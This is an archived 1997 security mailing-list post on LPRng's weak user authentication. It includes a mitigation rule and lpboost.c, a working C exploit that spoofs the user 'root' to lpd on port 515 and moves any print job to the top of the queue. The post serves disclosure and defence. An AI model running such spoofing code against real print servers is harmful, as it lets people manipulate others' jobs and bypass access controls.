home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / lpboost.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  7KB  |  214 lines

  1.  
  2. Hi all,
  3.  
  4. I just looked into LPRng to see to what extent it is affected by the
  5. problems recently reported for the BSD lpd. It seems that it is fairly
  6. safe from those mentioned in the SNI advisory.
  7.  
  8. > Problem 1: File creation
  9. >
  10. > Individuals with access to the line printer daemon from a privileged
  11. > port on a valid print client can tell lpd to create a file, providing
  12. > the name of the file, including directory names, is no longer than 5
  13. > characters.
  14.  
  15. LPRng checks that data and control file names conform to the spool file
  16. format: [cf]dNNNhostname, where hostname must contain only alphanumeric
  17. characters or "-_.".
  18.  
  19. > Problem 2: File deletion
  20. >
  21. > Individuals with access to the line printer daemon from a privileged
  22. > port on a valid print client can tell lpd to remove any file on the
  23. > system.
  24.  
  25. When given the U option, lpd checks that it follows a data file
  26. (e.g. f option), and that the names match.
  27.  
  28. > Problem 3: Remote execution
  29. >
  30. > Individuals with access to the line printer daemon from a privileged
  31. > port on a valid print client can execute commands remotely as the
  32. > user which lpd is running as.  This vulnerability can allow
  33. > interactive shell access to the remote system.
  34.  
  35. The LPRng lpd purges all meta characters (everything but alphanums
  36. and "-_.@/:()=,+-% \t"), executes sendmail via execve, and does so
  37. under the daemon uid. As a consequence, you're not allowed to specify
  38. alternate config files etc.
  39.  
  40. The only glitch is that, as daemon is usually trusted by sendmail, you're
  41. able to specify the sender address using the -f option (which makes it
  42. the most painful way of address spoofing I've come across:-). Also,
  43. LPRng permits only one M command per print job, so there's no way of
  44. mailbombing.
  45.  
  46. There's a different security problem, at least in the default
  47. configuration shipped by Caldera, which is that lpd doesn't check
  48. for privileged ports by default, and blindly accepts any user name
  49. the lpr client provides.
  50.  
  51. I'm including a small exploit to demonstrate this problem. It lets
  52. Joe User move any print job to the top of the print queue. To test
  53. it, it may be best to create a dummy printer, disable printing to it,
  54. and create some print jobs (by different users). Note that while this
  55. exploit is pretty harmless, other exploits (such as redirecting
  56. printers or circumventing the accounting system) are not.
  57.  
  58. One way to fix that would be to restrict the the range of ports
  59. from which clients are permitted to connect by putting the following
  60. into /etc/lpd.perms (right before all other non-comment statements):
  61.  
  62. REJECT SERVICE=X NOT PORT=512-1023
  63.  
  64. and stop and restart the printer daemon.
  65.  
  66. Note that restricting the valid range of ports to 512-1023 also
  67. stops FTP bounce attacks (bounce attacks don't apply if you install
  68. the most recent wu-ftpd fix).
  69.  
  70. However, this fails miserably since all lp clients are installed
  71. without suid root permissions (at least by Caldera). This seems to be a
  72. design decision made by the author. OTOH he has put a lot of work into
  73. the accounting stuff which is quite worthless if lpd can be spoofed
  74. that easily.
  75.  
  76. Now, the lpr clients seem to work also with setuid enabled (and at first
  77. glance, setuid privileges seem to be handled quite carefully). We're
  78. currently looking into this. Anybody would like to share their experience
  79. with making LPRng setuid root?
  80.  
  81. Cheers
  82. Olaf
  83.  
  84. PS: Excercise to the reader:-) Problems like this can be solved using
  85. the SCM_CREDENTIALS stuff in 2.1.x kernels. Lpr can authenticate itself
  86. with the local lpd via a unix socket, and have lpd forward the job to
  87. the remote printer using a privileged port. Any takers?
  88. --
  89. Olaf Kirch         |  --- o --- Nous sommes du soleil we love when we play
  90. okir@monad.swb.de  |    / | \   sol.dhoop.naytheet.ah kin.ir.samse.qurax
  91. okir@caldera.com   +-------------------- Why Not?! -----------------------
  92.  
  93. --hhlLboLdkugWU4S2
  94. Content-Type: TEXT/PLAIN; CHARSET=us-ascii
  95. Content-ID: <Pine.SUN.3.94.971020194800.9833H@dfw.dfw.net>
  96. Content-Description: Print queue? What queue?
  97.  
  98. /*
  99.  * lpboost.c
  100.  *
  101.  * Simple exploit to demonstrate problem with PLP/LPRng user
  102.  * `authentication': boost your print job's priority by moving it
  103.  * to the top of the queue.
  104.  *
  105.  * This is the most harmless exploit of this problem. More serious
  106.  * ones include circumvention of the accounting system, killing other
  107.  * users' jobs, shutting down printers, redirecting them, etc.
  108.  *
  109.  * Copyright (C) 1997, Olaf Kirch <okir@lst.de>
  110.  */
  111. #include <sys/types.h>
  112. #include <sys/socket.h>
  113. #include <netinet/in.h>
  114. #include <arpa/inet.h>
  115. #include <netdb.h>
  116. #include <string.h>
  117. #include <stdio.h>
  118. #include <unistd.h>
  119. #include <errno.h>
  120.  
  121. static int      doconnect(char *hostname);
  122. static void     dosend(int fd, unsigned char ch, char *string);
  123.  
  124. int
  125. main(int argc, char **argv)
  126. {
  127.         char    buffer[8192];
  128.         char    hostbuf[256], *hostname = hostbuf;
  129.         int     fd;
  130.  
  131.         if (argc == 4) {
  132.                 hostname = argv[3];
  133.         } else if (argc != 3) {
  134.                 fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n");
  135.                 exit(1);
  136.         } else {
  137.                 /* If lpd.perms allows queue manipulation only from
  138.                  * the local host (SERVER keyword), must use FQDN
  139.                  * rather than localhost (127.0.0.1) */
  140.                 gethostname(hostbuf, sizeof(hostbuf));
  141.         }
  142.  
  143.         if ((fd = doconnect(hostname)) < 0) {
  144.                 fprintf(stderr, "Failed to connect to %s: %s\n",
  145.                         hostname, strerror(errno));
  146.                 exit(1);
  147.         }
  148.  
  149.         /* Assemble control message */
  150.         sprintf(buffer, "%s %s topq %s %s",
  151.                         argv[1],        /* printer */
  152.                         "root",         /* user */
  153.                         argv[1],        /* printer */
  154.                         argv[2]);       /* job # */
  155.  
  156.         /* Transmit control message and pick up status */
  157.         dosend(fd, 6, buffer);
  158.  
  159.         exit (0);
  160. }
  161.  
  162. static int
  163. doconnect(char *hostname)
  164. {
  165.         struct hostent  *hp;
  166.         struct sockaddr_in sin;
  167.         int             fd;
  168.  
  169.         if (!(hp = gethostbyname(hostname))) {
  170.                 fprintf(stderr, "%s: unknown host\n", hostname);
  171.                 exit(1);
  172.         }
  173.  
  174.         memset(&sin, 0, sizeof(sin));
  175.         sin.sin_family = AF_INET;
  176.         sin.sin_addr = *(struct in_addr *) hp->h_addr;
  177.         sin.sin_port = htons(515);
  178.  
  179.         if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  180.                 perror("socket");
  181.                 exit(1);
  182.         }
  183.         if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
  184.                 perror("connect");
  185.                 exit(1);
  186.         }
  187.  
  188.         return fd;
  189. }
  190.  
  191. static void
  192. dosend(int fd, unsigned char ch, char *string)
  193. {
  194.         char    buffer[256], cr = '\n';
  195.         int     slen = string? strlen(string) : 0;
  196.  
  197.         if (write(fd, &ch, 1) != 1 ||
  198.             (string && (write(fd, string, slen) != slen
  199.                      || write(fd, &cr, 1) != 1))) {
  200.                 perror("write");
  201.                 exit(1);
  202.         }
  203.  
  204.         while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) {
  205.                 buffer[slen] = '\0';
  206.                 fprintf(stderr, "lpd: %s\n", buffer);
  207.         }
  208.         if (slen == 0 || errno == EPIPE)
  209.                 return;
  210.         perror("read (errmsg)");
  211.         exit(1);
  212. }
  213.  
  214.